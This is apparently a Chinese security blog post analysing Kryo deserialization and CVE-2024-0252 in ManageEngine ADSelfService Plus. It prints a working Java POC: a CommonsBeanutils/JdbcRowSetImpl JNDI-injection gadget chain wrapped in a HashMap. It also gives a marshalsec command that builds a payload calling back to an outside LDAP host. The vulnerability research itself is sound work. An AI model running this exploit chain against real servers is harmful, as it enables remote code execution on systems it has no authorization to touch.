从CVE-2024-0252学习kryo反序列化

kryo介绍

项目地址:https://github.com/EsotericSoftware/kryo
介绍和简单使用移步:https://cloud.tencent.com/developer/article/1872432

kryo反序列化

和hessian类似,关于反序列化kryo有大致以下特性:

  1. 两种初始化策略:DefaultInstantiatorStrategy(默认)、StdInstantiatorStrategy
    详细解释参考(https://blog.csdn.net/liuxiangke0210/article/details/78377677)
  2. 默认配置实例化对象时需要一个默认public构造函数并且不支持代理。
  3. 5.0 版本以上默认配置registrationRequired值为true,所有待反序列化的类都需要进行注册,相当于白名单。

kryo提供了两个反序列化函数:

  • readClassAndObject
  • readObject(Input input, Class<t> type)
    反序列化逻辑差不多都是获取到反序列化器再调用其read方法进行反序列化,不同的是后者需要指定反序列化的类型(序列化器在com.esotericsoftware.kryo.serializers下)。</t>

写个漏洞demo看看

  • 依赖
<dependency>
    <groupId>com.esotericsoftware</groupId>
    <artifactId>kryo</artifactId>
    <version>4.0.1</version>
</dependency>
<dependency>
    <groupId>commons-beanutils</groupId>
    <artifactId>commons-beanutils</artifactId>
    <version>1.8.3</version>
</dependency>
//java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Kryo CommonsBeanutils ldap://jndi.callback.red:5/ub4t/
Kryo kryo = new Kryo();
kryo.setInstantiatorStrategy(new Kryo.DefaultInstantiatorStrategy(new StdInstantiatorStrategy()));
Input input = new Input(new FileInputStream("D:\\1.txt"));
kryo.readClassAndObject(input);
input.close();

有关利用链在marshalsec工具提供了一些:

marshalsec.Kryo:[SpringAbstractBeanFactoryPointcutAdvisor, CommonsBeanutils]

//kryo.setInstantiatorStrategy(new Kryo.DefaultInstantiatorStrategy(new StdInstantiatorStrategy()));
marshalsec.KryoAltStrategy:[Groovy, SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin, LazySearchEnumeration, BindingEnumeration, ServiceLoader, ImageIO, CommonsBeanutils]

ManageEngine ADSelfService Plus CVE-2024-0252 简要分析

下载补丁diff主要新增了一行代码

kryo.setRegistrationRequired(true);

看了下kryo组件的版本是4.0.1(RegistrationRequired值默认为false),基本断定漏洞点就是这儿的反序列化,但是工具类里并不是调用readClassAndObject,而是调用readObject方法反序列化为指定的类型(这里是hashmap)。

上面提到过反序列化时会调用对应的处理器进行反序列化,这里处理map类型的序列化器是MapSerializer,跟进其read方法查看最终还是调用的readClassAndObject方法进行的反序列化,即在如下场景下同样能触发反序列化。

kryo.readObject(input, HashMap.class);

下面是用的是工具类里的cb getter+JdbcRowSetImpl触发JNDI注入的链子,然后再用Haspmap包装一下,构造POC

public static HashMap<String, Object> exp(String jdniUrl) throws Exception {
    BeanComparator cmp = new BeanComparator("lowestSetBit", Collections.reverseOrder());
    Object trig = makeTreeMap(makeJNDIRowSet(jdniUrl), cmp);
    setFieldValue(cmp, "property", "databaseMetaData");
    HashMap<String, Object> hashMap = new HashMap();
    hashMap.put("test",trig);
    return hashMap;
}
public static TreeMap<Object, Object> makeTreeMap (Object tgt, Comparator comparator ) throws Exception {
    TreeMap<Object, Object> tm = new TreeMap<>(comparator);

    Class<?> entryCl = Class.forName("java.util.TreeMap$Entry");
    Constructor<?> entryCons = entryCl.getDeclaredConstructor(Object.class, Object.class, entryCl);
    entryCons.setAccessible(true);
    Field leftF = getField(entryCl, "left");

    Field rootF = getField(TreeMap.class, "root");
    Object root = entryCons.newInstance(tgt, tgt, null);
    leftF.set(root, entryCons.newInstance(tgt, tgt, root));
    rootF.set(tm, root);
    setFieldValue(tm, "size", 2);
    return tm;
}

有趣的是github早就放了poc不过是个马儿https://github.com/forsaken0128/CVE-2024-0252-RCE (404了)

参考

https://cloud.tencent.com/developer/article/1624416
https://blog.csdn.net/liuxiangke0210/article/details/78377677